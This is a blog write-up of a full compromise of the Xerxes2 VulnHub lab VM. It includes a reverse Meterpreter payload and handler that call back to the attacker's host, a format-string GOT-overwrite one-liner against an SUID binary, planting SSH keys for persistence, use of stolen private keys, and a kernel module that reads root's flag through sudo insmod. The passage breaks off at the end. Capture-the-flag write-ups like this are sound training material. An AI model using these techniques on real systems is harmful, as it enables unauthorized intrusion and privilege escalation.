The Glory of the Many Demands Your Capture or Destruction.
It’s been a long wait, but barrebas released Xerxes2 on Vulnhub. I’ve not broken into Xerxes1, so I figured what the hell, lets give this a go. It might take me ages, but it’s all a learning curve, right ? Here’s how I became the first person to get root
root@xerxes2:~# id uid=0(root) gid=0(root) groups=0(root)
root@pwk:~# nmap -sS -T4 -O --script banner 192.168.0.102
Starting Nmap 6.46 ( http://nmap.org ) at 2014-08-04 15:09 BST
Nmap scan report for 192.168.0.102
Host is up (0.00032s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
22/tcp open ssh
|_banner: SSH-2.0-OpenSSH_6.0p1 Debian-4+deb7u2
80/tcp open http
111/tcp open rpcbind
4444/tcp open krb524
| banner: //OAxAAAAAAAAAAAAEluZm8AAAAPAAAB+AABnD0AAwYICw0QEhUXGhwfISQmKSs
|_uMDM1ODo9QUNG\x0ASEtNUFJVV1pcX2FkZmlrbnBzdXh6fYGDhoiLjZCSlZeanJ+hpKa...
8888/tcp open sun-answerbook
MAC Address: 08:00:27:FA:1A:A6 (Cadmus Computer Systems)No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=6.46%E=4%D=8/4%OT=22%CT=1%CU=33675%PV=Y%DS=1%DC=D%G=Y%M=080027%TM
OS:=53DF942E%P=i686-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10B%TI=Z%CI=I%II=I%TS
OS:=8)OPS(O1=M5B4ST11NW3%O2=M5B4ST11NW3%O3=M5B4NNT11NW3%O4=M5B4ST11NW3%O5=M
OS:5B4ST11NW3%O6=M5B4ST11)WIN(W1=3890%W2=3890%W3=3890%W4=3890%W5=3890%W6=38
OS:90)ECN(R=Y%DF=Y%T=40%W=3908%O=M5B4NNSNW3%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=OS:S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q
OS:=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A
OS:%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y
OS:%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T
OS:=40%CD=S)Network Distance: 1 hop
OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.96 seconds
root@pwk:~#
OK, so we have SSH, HTTP, RPC bind, 4444 and 8888. Port 4444 has returned a banner, which looks like an encoded string. We can get the full string using netcat.
Well that was a lot more than I expected. But the = at the end screams Base64, so I need to copy the banner text into a text file (I don’t need to show you this) and a-decrypting and hexediting I shall go.
1234567891011121314151617181920
root@pwk:~# base64 -d in.txt > out.bin
root@pwk:~# hexedit out.bin
00000000 FF F3 80 C4 00000000000000000049 6E 66 6F 000000 0F 000001 .............Info.......
00000018 F8 0001 9C 3D 00030608 0B 0D 10121517 1A 1C 1F 21242629 2B 2E ....=.............!$&)+.
0000003030333538 3A 3D 41434648 4B 4D 50525557 5A 5C 5F 61646669 6B 0358:=ACFHKMPRUWZ\_adfik
00000048 6E 70737578 7A 7D 81838688 8B 8D 90929597 9A 9C 9F A1 A4 A6 A9 npsuxz}.................
00000060 AB AE B0 B3 B5 B8 BA BD C1 C3 C6 C8 CB CD D0 D2 D5 D7 DA DC DF E1 E4 E6 ........................
00000078 E9 EB EE F0 F3 F5 F8 FA FD 00000039 4C 41 4D 4533 2E 39397201 6E ............9LAME3.99r.n
0000009000000000000000001440240475220000400001 9C 3D 73 EB 43 .........@$.u"..@...=s.C000000A8 3E 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >.......................000000C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF F3 80 C4 00 26 2C 0E .....................&,.000000D8 00 29 4F 40 01 0A 10 F5 7A BD 0F 34 CB 79 A6 EC FC 13 71 37 17 31 EB 27 .)O@....z..4.y....q7.1.'000000F0 66 9A 8D 5E FD E3 C6 05 63 C8 9F 0C 00 07 08 D8 38 0F 07 16 2E 7A 22 25 f..^....c.......8....z"%
00000108 6E F7 EE EF 7F F2 EE FC 27 FB BB BB FF EE F7 EE EE EF FB A2 222257 FF n.......'...........""W.00000120 EE EF FF FF A3 BB BB BD FF E8 88 88 8E FF FF FF EE EE E2 86 22 27 FB BB ...................."'..
00000138 BB DF 08 2E 2E 7B DF FF E8 89 5B A2 22 7B E8 2E 7B E8 8840 A0 B8 B8 B9 .....{....[."{..{..@....
00000150 EE EE E2 E2 828282828952 E2 82828654 BB DC BB DF 0888 E5 8B 9E .........R....T.........
00000168 F7 01 C0 28001800 C0 5C 1B 8B 8B B8 7A E1 0B 48 0D 191369 B5 1A 88 ...(....\....z..H...i...
00000180 C4 6205 F6 16346423 3C A8 E9 01 8C 1D 1F CF 8A 868635 B7 5D 2F 13 .b...4d#<..........5.]/.
Oooh, I spy the word LAME, which means this is an MP3. If you want to hear the MP3, you can download it right here. Not very exciting huh ?
Windowlicker
What is interesting about this MP3 is not what you can hear, but what you can see in the waveform. Much like the demon face in Windowlicker by Aphex Twin, here we have a hidden image in the spectrogram. If you want to know how to find this, take a look at this Lifehacker article.
This, however, is just a diversion. The image is of Xerxes from System Shock 2, but the whole MP3 is an easter egg - but a cool one none the less ! Let’s move on.
If You’re Not Taking Notes, You’re Not Learning.
So, with port 4444 crossed out, lets have a look at some other ports. 8888 is my next target, which returns nothing if you netcat to it, but provides an Python based Notebook application. This page also gives us an insight into the name of one of the users - delacroix.
It is possible to run commands through this application by creating a new notebook, and prefixing all commands with !. As an example, I’ve created a new notebook and have run the whoami command in the screenshot below (you’ll note that id didn’t work)
At this point I decided to be sneaky and make this download and run a reverse Meterpreter binary… I created my binary using msfpayload, hosted it on an internal HTTP server, and then set up a multi/handler to accept the connection.
123456789101112131415161718
root@pwk:~# msfpayload linux/x86/meterpreter/reverse_tcp lhost=192.168.0.110 lport=4444 x > xerxes_4444
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/meterpreter/reverse_tcp
Length: 71
Options: {"LHOST"=>"192.168.0.110", "LPORT"=>"4444"}root@pwk:~# cp xerxes_4444 /var/www
root@pwk:~# msfconsole
msf > use multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
payload=> linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.0.110
lhost=> 192.168.0.110
msf exploit(handler) > set lport 4444
lport=> 4444
msf exploit(handler) > run
[*] Started reverse handler on 192.168.0.110:4444
[*] Starting the payload handler...
The following command pasted into the Python notebook application downloads the binary from the HTTP server to /tmp, makes it executable, and then executes it.
A reverse connection is received by the multi/handler, which allows us to get a shell as delacroix, but it disconnects after a certain amount of time.
12345678910
[*] Sending stage (1138688 bytes) to 192.168.0.102
[*] Meterpreter session 1 opened (192.168.0.110:4444 -> 192.168.0.102:34718) at 2014-08-08 13:20:31 +0100
meterpreter > shell
Process 14990 created.
Channel 1 created.
$ id
uid=1002(delacroix)gid=1002(delacroix)groups=1002(delacroix)$[*] 192.168.0.102 - Meterpreter session 1 closed. Reason: Died
It seems that I’ve been scuppered, and that Xerxes is terminating my connection, as seen on the Python Notebook page
However, it looks like I have a small window before the session is terminated - because of this I am able to be quick and echo my SSH public key added to the authorized_keys file, which allows me to subsequently SSH in as delacroix sans password.
12345678910111213141516
root@pwk:~# ssh delacroix@192.168.0.102
Welcome to xerxes2.
XERXES wishes you
a pleasant stay.
____ ___ ____ ___ __ ____ ___ ____ ____ ____
`MM()P' 6MMMMb `MM 6MM `MM( )P' 6MMMMb 6MMMMb\ 6MMMMb
`MM` ,P 6M' `Mb MM69 " `MM` ,P 6M'`Mb MM' ` MM'`Mb
`MM,P MM MM MM' `MM,P MM MM YM. ,MM `MM. MMMMMMMM MM `MM. MMMMMMMM YMMMMb ,MM' d`MM. MM MM d`MM. MM `Mb ,M' d'`MM. YM d9 MM d' `MM. YM d9 L ,MM ,M'_d_ _)MM_ YMMMM9 _MM_ _d_ _)MM_ YMMMM9 MYMMMM9 MMMMMMMM
/usr/bin/xauth: file /home/delacroix/.Xauthority does not exist
delacroix@xerxes2:~$
/* found this lingering around somewhere */#include <stdio.h>#include <string.h>#include <unistd.h>#include <stdlib.h>#define BUF_SIZE 30000voidbf(char*program,char*buf){intprogramcounter=0;intdatapointer=0;while(program[programcounter]){switch(program[programcounter]){case'.':printf("%c",buf[datapointer]);break;case',':buf[datapointer]=getchar();break;case'>':datapointer=(datapointer==(BUF_SIZE-1))?0:++datapointer;break;case'<':datapointer=(datapointer==0)?(BUF_SIZE-1):--datapointer;break;case'+':buf[datapointer]++;break;case'-':buf[datapointer]--;break;case'[':if(buf[datapointer]==0){intindent=1;while(indent){programcounter++;if(program[programcounter]==']'){indent--;}if(program[programcounter]=='['){indent++;}}}break;case']':if(buf[datapointer]){intindent=1;while(indent){programcounter--;if(program[programcounter]==']'){indent++;}if(program[programcounter]=='['){indent--;}}}break;case'#':// new featureprintf(buf);break;}programcounter++;}}intmain(intargc,char**argv){charbuf[BUF_SIZE];if(argc<2){printf("usage: %s [program]\n",argv[0]);exit(-1);}memset(buf,0,sizeof(buf));bf(argv[1],buf);exit(0);}
It looks like some kind of interpreter - what language uses +-<>,. and # ? Well, I know for a fact that Brainfuck uses all but #, and the source code says that # is a new function. Maybe this is a Brainfuck interpreter (please don’t let it be Brainfuck). It looks like a compiled version of this code is available in /opt, so lets pass it a Hello World program to see if our assumption is true.
However, it is owned by the polito user, and has SUID set.
The source code for the newly added # command indicates that it will be susceptible to a formatstring vulnerability - you can read about my forays in formatstr in my Hell writeup, but this one took a LOT longer. After I prodded around for a bit, I decided that I would overwrite the printf() pointer in the global offset table with the memory address of system() by calling # with a formatstring buffer, then call the newly redirected # command with a buffer of /bin/sh. This should technically run /bin/sh for me.
So, lets start basic. Here’s my process of trying to find things in the stack.
OK, so I can put things into the buffer and find them in the stack. However, there’s a gotcha - ASLR is enabled on this box - we need to circumvent that. Could I write an application that has ASLR disabled, and run that, then use the system location from that and call it ? Probably… what about gdb, I know that disables ASLR, but it also disables SUID, so that’s out. Google to the rescue ! The following site helpfully tells me that ulimit -s unlimited disables ASLR on 32bit systems, so that’s my golden ticket.
So, with ASLR temporarily disabled, I can find the location for the printf got pointer using objdump.
123456789101112131415
delacroix@xerxes2:~$ ulimit -s unlimited
delacroix@xerxes2:~$ objdump -R /opt/bf
/opt/bf: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049a38 R_386_GLOB_DAT __gmon_start__
08049a48 R_386_JUMP_SLOT printf08049a4c R_386_JUMP_SLOT getchar
08049a50 R_386_JUMP_SLOT __gmon_start__
08049a54 R_386_JUMP_SLOT exit08049a58 R_386_JUMP_SLOT __libc_start_main
08049a5c R_386_JUMP_SLOT memset
08049a60 R_386_JUMP_SLOT putchar
printf is at 08049a48. Now I have to find system(). gdb can help with that.
123456789101112131415161718192021
delacroix@xerxes2:~$ gdb /opt/bf
GNU gdb (GDB) 7.4.1-debian
Copyright (C)2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"and "show warranty"for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/bf...(no debugging symbols found)...done.
(gdb)break main
Breakpoint 1 at 0x8048687
(gdb) run
Starting program: /opt/bf
Breakpoint 1, 0x08048687 in main ()(gdb) p system
$1={<text variable, no debug info>} 0x40062000 <system>
(gdb) p printf$2={<text variable, no debug info>} 0x4006ff50 <printf>
I need to overwrite 0x08049a48 with 0x40062000 - that shouldn’t be too hard. I really only need to change the last 2 bytes from ff50 to 2000, which means I can do this with just one write. After lots of debugging I ended up at the following
I have many conversations with people on IRC, where I like to think aloud with people I talk to on a regular basis. c0ne helped me with the formatstr on Hell, so it was natural I’d talk to him
1234567891011121314151617181920
[23:16:17] <recrudesce> delacroix@xerxes2:~$ echo "ABCD" | ./b ",>#"
[23:16:19] <recrudesce> returns A
[23:16:24] <recrudesce> echo "ABCD" | ./b ",><,>#" returns B
[23:16:30] <recrudesce> echo "ABCD" | ./b ",><,><,#" = C
[23:16:36] <recrudesce> echo "ABCD" | ./b ",><,><,><,#" = D
[23:16:38] <recrudesce> so...
[23:16:41] <c0ne> i get
[23:16:49] <c0ne> so it needs placeholder to print to
[23:16:56] <c0ne> placeholders
[23:17:06] <c0ne> ,><,><,><,
[23:17:13] <c0ne> not sure how it works
[23:18:09] <recrudesce> echo "ABCDE" | ./b ",>,>,>,#<,<<<,>#"
[23:18:13] <recrudesce> ABCDABED
[23:18:55] <recrudesce> echo "ABCDWXYZ" | ./b ",>,>,>,#<<<,>,>,>,#"
[23:19:18] <recrudesce> ook, so that reads ABCD into the buffer, then prints it, goes back to the start of the buffer, and reads the next 4 characters, WXYZ
[23:19:20] <recrudesce> then prints that
[23:19:37] <recrudesce> so, all we need to do is go back to a few pointers, and re-read some further data in
[23:20:08] <c0ne> Oo
[23:20:11] <recrudesce> so, we need to make sure that the correct amount of ,> are before our first #
[23:20:18] <recrudesce> else we accidently read /bin/bash too
Many many failures were experienced at this point - and I’m talking at least 3 hours of failed executions or failed memory overwrites. I managed to get basic command execution, but only once every 5-10 attempts would be successful due to the stack shifting ever so slightly. Anyway, who wants to listen to my boohoo story - you came here for the answers, so here’s what you have to do. Make a shell script in /tmp containing the following
It will probably throw an error, but the shell script will run and you’ll end up with a copy of /bin/sh in /tmp, with the SUID bit set, which when run will elevate you to the polito user.
1234567891011121314151617181920
1075339252delacroix@xerxes2:~$ ls -l /tmp
total 148
-rw-r--r-- 1 delacroix delacroix 53 Aug 6 12:07 file1
-rw-r--r-- 1 delacroix delacroix 61 Aug 6 13:03 file2
-rw-r--r-- 1 delacroix delacroix 49 Aug 6 12:24 file3
-rw-r--r-- 1 delacroix delacroix 49 Aug 6 12:27 file4
-rw-r--r-- 1 delacroix delacroix 5 Aug 6 12:31 file5
-rw-r--r-- 1 delacroix delacroix 253 Aug 6 12:50 file6
-rw-r--r-- 1 delacroix delacroix 73 Aug 6 13:37 file7
-rw-r--r-- 1 delacroix delacroix 49 Aug 6 13:59 file8
-rw-r--r-- 1 delacroix delacroix 44 Aug 6 13:59 file9
-rw-r--r-- 1 delacroix delacroix 11 Aug 6 14:15 filea
-rw-r--r-- 1 delacroix delacroix 11 Aug 6 14:13 fileb
-rw-r--r-- 1 delacroix delacroix 11 Aug 6 14:13 filec
-rwxr-xr-x 1 delacroix delacroix 55 Aug 6 16:15 gah.sh
-rwsrwxrwx 1 polito polito 97284 Aug 6 16:15 shell
delacroix@xerxes2:~$ /tmp/shell
$ id
uid=1002(delacroix)gid=1002(delacroix)euid=1001(polito)groups=1001(polito),1002(delacroix)$
I then did the same deal here - echo’d my SSH public key to ~/.ssh/authorized_keys and SSH’d in as polito.
As a side note, I spoke to barrebas on IRC about my exploit route and he was able to refine it further
123456789
[00:15:55] <barrebas> sweet your exploit is much smaller than mine, nice!
[00:16:01] <recrudesce> really ???
[00:16:19] <barrebas> yeah, i didn't use direct parameter addressing
[00:16:33] <barrebas> and i wrote 4 bytes instead of 2, yours is smarter
[00:16:54] <recrudesce> that's taken me hours
[00:25:48] <barrebas> a bit shorter still:
[00:25:50] <barrebas> python -c "print '\x48\x9a\x04\x08' + ';\/tmp\/123.sh;%8173u%16\$hn'" | /opt/bf ',>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,##'
[00:26:08] <recrudesce> you know what, that looks like another one i did, but only slightly
[00:26:36] <barrebas> anyway, nice work
Wandering the Operations Deck with Janice
Say hello to Janice Polito, she’s got a smirk on her hasn’t she ?
123456789101112131415161718192021
root@pwk:~# ssh polito@192.168.0.102
Welcome to xerxes2.
XERXES wishes you
a pleasant stay.
____ ___ ____ ___ __ ____ ___ ____ ____ ____
`MM()P' 6MMMMb `MM 6MM `MM( )P' 6MMMMb 6MMMMb\ 6MMMMb
`MM` ,P 6M' `Mb MM69 " `MM` ,P 6M'`Mb MM' ` MM'`Mb
`MM,P MM MM MM' `MM,P MM MM YM. ,MM `MM. MMMMMMMM MM `MM. MMMMMMMM YMMMMb ,MM' d`MM. MM MM d`MM. MM `Mb ,M' d'`MM. YM d9 MM d' `MM. YM d9 L ,MM ,M'_d_ _)MM_ YMMMM9 _MM_ _d_ _)MM_ YMMMM9 MYMMMM9 MMMMMMMM
polito@xerxes2:~$ id
uid=1001(polito)gid=1001(polito)groups=1001(polito)polito@xerxes2:~$ ls -l
total 172960
-rw-r--r-- 1 polito polito 142564 Jul 16 10:57 audio.txt
-rw-r--r-- 1 polito polito 44813850 Jul 16 12:17 dump.gpg
-rw-r--r-- 1 polito polito 27591 Jul 16 12:19 polito.pdf
OK, so in /home/polito we have a PDF, a PGP’d file and an audio.txt file. This audio.txt is being served by nc on port 4444 - surprise !
Sit comfortably, children, for I have a story to tell about this PDF. I transferred it to my laptop, and opened it… a blank PDF. I decided there must be something hidden in the file. Now, I must admit my PDF forensics skills are somewhat lacking. However, people like Didier Stevens make life a little easier with their little Python tools such as pdf-parser.
So, a couple of objects, 2 fonts and an image. The ID’s of interest are 999, 1, and 8. pdf-parser can be used to extract objects, so I extracted them all. 1 and 4 resulted in nothing interesting, 8 resulted in a text file that read “foo”, but 999 extracted as a file that looked like a PDF without headers.
1234567891011121314151617181920212223
root@pwk:~# cat pdf999_b
h?h??!Y??MZt
??????????U?u???????r?--WARNING--
Unauthorized file access will be reported.
XERXES wishes you
a most productive dayhowhYXh
h7ihhzhOwh45h
@hgIh ,h#ohMZh
hNlhaWhFuhamh
h: hishd horhswhash phheh
T??U?%PDF-1.5
%????
40 obj <<
/Length 292/Filter /FlateDecode
>>
stream
x?mQ?n?0
??+|+H#%I ?4?ڪu?M\?i
??? ??
????????Y?>E?? ? ??p,(?cJ??{e??"y????0MgqY_?#(s??M&e6??8?zm?A??????? M??q?--I?y?uZ^?Z???$?l??*c-tj?????v3ߴ~S?2>[5ZT9???g??M?aU_?????䟲??VY??=?n?S?h?r?H?s&`F?ry??dž??B/h?????mt?``?c?V?W??Ƨ?;??|?~ގ1??s5 ?????-9?0
root@pwk:~#
I used a hexeditor to add the PDF header and footer information
9:34 AM <recrudesce> yeah
9:35 AM <recrudesce> oooh, interesting
9:35 AM <recrudesce> PDF Comment '%\xd0\xd4\xc5\xd8\n'
9:35 AM <recrudesce> dunno if that's just because of the way i've made the file
9:39 AM <recrudesce> root@pwk:~# pdf-parser -w out.pdf
9:39 AM <recrudesce> PDF Comment %PDF-1.5
9:39 AM <recrudesce> PDF Comment %????
9:39 AM <recrudesce> obj 4 0
9:39 AM <recrudesce> Type:
9:39 AM <recrudesce> Referencing:
9:39 AM <recrudesce> Contains stream
9:39 AM <recrudesce> <<
9:39 AM <recrudesce> /Length 292
9:39 AM <recrudesce> /Filter /FlateDecode
9:39 AM <recrudesce> >>
9:39 AM <recrudesce> PDF Comment %%EOF
9:39 AM <recrudesce> so i can see the stream
9:39 AM <recrudesce> OH
9:39 AM <recrudesce> MY
9:39 AM <recrudesce> GOD
9:40 AM <recrudesce> /F15 9.9626 Tf 125.782 676.223 Td [(Found)-525(this)-525(./dump)-525(file,)-525(thought)-525(you'd)-525(find)-525(it)-525(useful.)]TJ 0 -18.929 Td [(I've)-525(encrypted)-525(it)-525(though,)-525(because)-525(of)-525(the)-525(powers)-525(that)-525(be...)]TJ 0 -18.929 Td [(You)-525(know)-525(how)-525(to)-525(get)-525(the)-525(password,)-525(right?)]TJ 0 -18.929 Td [(Happy)-525(hunting.)]TJ
9:40 AM <recrudesce> 200 0 0 200 197.638 405.268 cm
9:40 AM <recrudesce> Q
9:40 AM <recrudesce> BT
9:40 AM <recrudesce> 200 0 0 200 197.638 405.268 cm
9:40 AM <recrudesce> Q
9:40 AM <recrudesce> BT
9:40 AM <recrudesce> ./F8 9.9626 Tf 249.651 386.339 Td [(Remem)28(b)-28(er,)-333(rem)-1(em)28(b)-28(er)]TJ
9:46 AM <superkojiman> :)
9:46 AM <superkojiman> will play with it tonight. if i start ita t work i won’t get anything done
9:46 AM <recrudesce> i need to decode that file
9:46 AM <recrudesce> where is the qr code ?
9:47 AM <superkojiman> it's in the pdf.
9:47 AM <superkojiman> polito.pdf
9:49 AM <recrudesce> when i open that file i just get blank
9:49 AM <recrudesce> is it one of the streams ?
9:49 AM <recrudesce> ah, it'll be that 200x200 image
9:49 AM <recrudesce> which i've not been able to get yet
9:49 AM <superkojiman> weird.
9:49 AM <recrudesce> how did you extract it ?
9:49 AM <superkojiman> it just shows on mine. :-/
9:49 AM <recrudesce> the PDF for me is completely blank
9:49 AM <superkojiman> opened it up in kali
9:49 AM <superkojiman> really?
9:49 AM <recrudesce> i'll try again
9:51 AM <superkojiman> i'm using epdfview
9:51 AM <superkojiman> apt-get install epdfview
9:52 AM <recrudesce> wtf, it shows now
9:52 AM <superkojiman> :D
9:52 AM <recrudesce> so i just extracted all the text
9:52 AM <superkojiman> was wondering why you were getting all excited when you extracted that.
9:52 AM <superkojiman> i was like "but i see it right here..." :D
9:53 AM <recrudesce> i made that a lot more complicated than i needed
9:53 AM <recrudesce> feck
Turns out the PDF I had was corrupt, and that the actual PDF looks like this
Well didn’t I feel stupid ? The QR code decodes as “XERXES is watching…”, so that’s not of any use either. There’s got to be something still hidden in this PDF that I’m not seeing.
12
root@pwk:~# file polito.pdf
polito.pdf: x86 boot sector, code offset 0xe0
Wait, wut ? A bootable PDF ?
OK, so, how to I boot this PDF I wonder ? Well, turns out this technique has already been used by PoC||GTFO with their 2nd edition - check out section 8 to see instructions on using qemu. X11 forwarding required - luckily I set up X11 forwarding ages ago. Using the command found in PoC||GTFO002, I ended up with the following screen
Nice, a password. Lets get that dump file decrypted.
1234567
polito@xerxes2:~$ gpg --output output.bin --decrypt dump.gpg
gpg: CAST5 encrypted data
Enter passphrase: amFuaWNl
pg: encrypted with 1 passphrase
gpg: WARNING: message was not integrity protected
polito@xerxes2:~$ ls -l output.bin
-rw-r--r-- 1 polito polito 132120576 Aug 8 11:55 output.bin
I am going to assume this is a memory dump, so I figured the first thing to do was to run strings on it - it scrolled text for ages… I need to be more defined.
That’s more workable - but wait, what’s that… a tarball encrypted into /opt/backup/ ?
OpenSSL can be used to decrypt the file to get the original tarball.
123456789
polito@xerxes2:~$ openssl aes-256-cbc -d -salt -pass pass:c2hvZGFu -in /opt/backup/korenchkin.tar.enc -out /home/polito/korenchkin/korenchkin.tar
polito@xerxes2:~$ ls -l korenchkin/
total 12
-rw-r--r-- 1 polito polito 10240 Aug 8 12:05 korenchkin.tar
polito@xerxes2:~$ cd korenchkin/
polito@xerxes2:~/korenchkin$ tar xvf korenchkin.tar
.ssh/id_rsa
.ssh/id_rsa.pub
polito@xerxes2:~/korenchkin$
Looks like Korenchkin is sensible and backs up his keypair… but now I have it, so user impersonation is possible.
12345678910111213141516171819202122
polito@xerxes2:~/korenchkin$ ssh -i .ssh/id_rsa korenchkin@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.ECDSA key fingerprint is c1:ca:ae:c3:5d:7a:5b:9d:cf:27:a4:48:83:1e:01:84.Are you sure you want to continue connecting (yes/no)? yesWarning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.Welcome to xerxes2. XERXES wishes you a pleasant stay.____ ___ ____ ___ __ ____ ___ ____ ____ ____ `MM( )P' 6MMMMb `MM 6MM `MM()P' 6MMMMb 6MMMMb\ 6MMMMb `MM` ,P 6M'`Mb MM69 "`MM` ,P 6M' `Mb MM'` MM' `Mb `MM,P MM MM MM'`MM,P MM MM YM. ,MM
`MM. MMMMMMMM MM `MM. MMMMMMMM YMMMMb ,MM' d`MM. MM MM d`MM. MM `Mb ,M' d' `MM. YM d9 MM d'`MM. YM d9 L ,MM ,M'_d_ _)MM_ YMMMM9 _MM_ _d_ _)MM_ YMMMM9 MYMMMM9 MMMMMMMM
You have new mail.
korenchkin@xerxes2:~$ id
uid=1000(korenchkin)gid=1000(korenchkin)groups=1000(korenchkin),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)korenchkin@xerxes2:~$
Once again, my public key is echo’d into .ssh/authorized_keys, and I am able to SSH in from my client.
Holding the Con with Anatoly
With great power comes great responsibility. This is Anatoly Korenchkin.
Korenchkin must be able to do some important stuff - after all he worked alongside the captain of the Von Braun. Turns out my suspicion was correct
1234567
korenchkin@xerxes2:~$ sudo -l
Matching Defaults entries for korenchkin on this host:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User korenchkin may run the following commands on this host:
(root) NOPASSWD: /sbin/insmod, (root) /sbin/rmmod
korenchkin@xerxes2:~$
Korenchkin can load and remove kernel modules as root without a password. This could be interesting as I have no idea about how kernel modules work. I started off compiling and loading a simple Hello World module from TheGeekStuff. It worked ! But can I make a malicious kernel module - possibly one that can read /root/flag.txt ? Yup, and here’s the code to do it.
#include <linux/module.h> // Needed by all modules#include <linux/kernel.h> // Needed for KERN_INFO#include <linux/fs.h> // Needed by filp#include <asm/uaccess.h> // Needed by segment descriptorsintinit_module(void){// Create variablesstructfile*f;charbuf[1024];mm_segment_tfs;inti;// Init the buffer with 0for(i=0;i<1024;i++)buf[i]=0;// To see in /var/log/messages that the module is operatingprintk(KERN_INFO"My module is loaded\n");// I am using Fedora and for the test I have chosen following file// Obviously it is much smaller than the 128 bytes, but hell with it =)f=filp_open("/root/flag.txt",O_RDONLY,0);if(f==NULL)printk(KERN_ALERT"filp_open error!!.\n");else{// Get current segment descriptorfs=get_fs();// Set segment descriptor associated to kernel spaceset_fs(get_ds());// Read the filef->f_op->read(f,buf,1024,&f->f_pos);// Restore segment descriptorset_fs(fs);// See what we read from fileprintk(KERN_INFO"buf:%s\n",buf);}filp_close(f,NULL);return0;}voidcleanup_module(void){printk(KERN_INFO"My module is unloaded\n");}
I realised I needed a Makefile as well, so I knocked one of those up quickly (nothing complicated)
1234567
obj-m += flag.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
With the source code and the Makefile, I then compiled the kernel module and loaded it
korenchkin@xerxes2:~/kernel/kernel2/kernel3/kernel4$ make -C /lib/modules/$(uname -r)/build M=/home/korenchkin/kernel/kernel2/kernel3/kernel4 modules
make: Entering directory `/usr/src/linux-headers-3.2.0-4-686-pae' CC [M] /home/korenchkin/kernel/kernel2/kernel3/kernel4/flag2.o/home/korenchkin/kernel/kernel2/kernel3/kernel4/flag2.c: In function ‘init_module’:/home/korenchkin/kernel/kernel2/kernel3/kernel4/flag2.c:37:1: warning: the frame size of 1028 bytes is larger than 1024 bytes [-Wframe-larger-than=] Building modules, stage 2. MODPOST 1 modules CC /home/korenchkin/kernel/kernel2/kernel3/kernel4/flag2.mod.o LD [M] /home/korenchkin/kernel/kernel2/kernel3/kernel4/flag2.komake: Leaving directory `/usr/src/linux-headers-3.2.0-4-686-pae'You have new mail in /var/mail/korenchkin
korenchkin@xerxes2:~/kernel/kernel2/kernel3/kernel4$ sudo insmod flag2.ko
korenchkin@xerxes2:~/kernel/kernel2/kernel3/kernel4$ dmesg | tail -20
[113593.419616]`MM()P' 6MMMMb `MM 6MM `MM( )P' 6MMMMb 6MMMMb\ 6MMMMb
[113593.419617]`MM` ,P 6M' `Mb MM69 " `MM` ,P 6M'`Mb MM' ` MM'`Mb
[113593.419618]`MM,P MM MM MM' `MM,P MM MM YM. ,MM [113593.419619] `MM. MMMMMMMM MM `MM. MMMMMMMM YMMMMb ,MM'[113593.419619] d`MM. MM MM d`MM. MM `Mb ,M' [113593.419620] d'`MM. YM d9 MM d' `MM. YM d9 L ,MM ,M'[113593.419621] _d_ _)MM_ YMMMM9 _MM_ _d_ _)MM_ YMMMM9 MYMMMM9 MMMMMMMM
[113593.419622][113593.419622] congratulations on beating xerxes2!
[113593.419623][113593.419623] I hope you enjoyed it as much as I did making xerxes2.
[113593.419624] xerxes1 has been described as 'weird' and 'left-field'[113593.419625] and I hope that this one fits that description too :)[113593.419625][113593.419626] Many thanks to @TheColonial & @rasta_mouse for testing!
[113593.419626][113593.419627] Ping me on #vulnhub for thoughts and comments![113593.419627][113593.419628] @barrebas, July 2014
[113593.419628]
So, most people would go “I GOT THE FLAG !” and do a little dance. Probably along these lines
But I wanted more - I actually wanted a root shell. I wonder if I can run shell scripts with a kernel module. Hmm… google ? I was drawn to this article which provided the following code
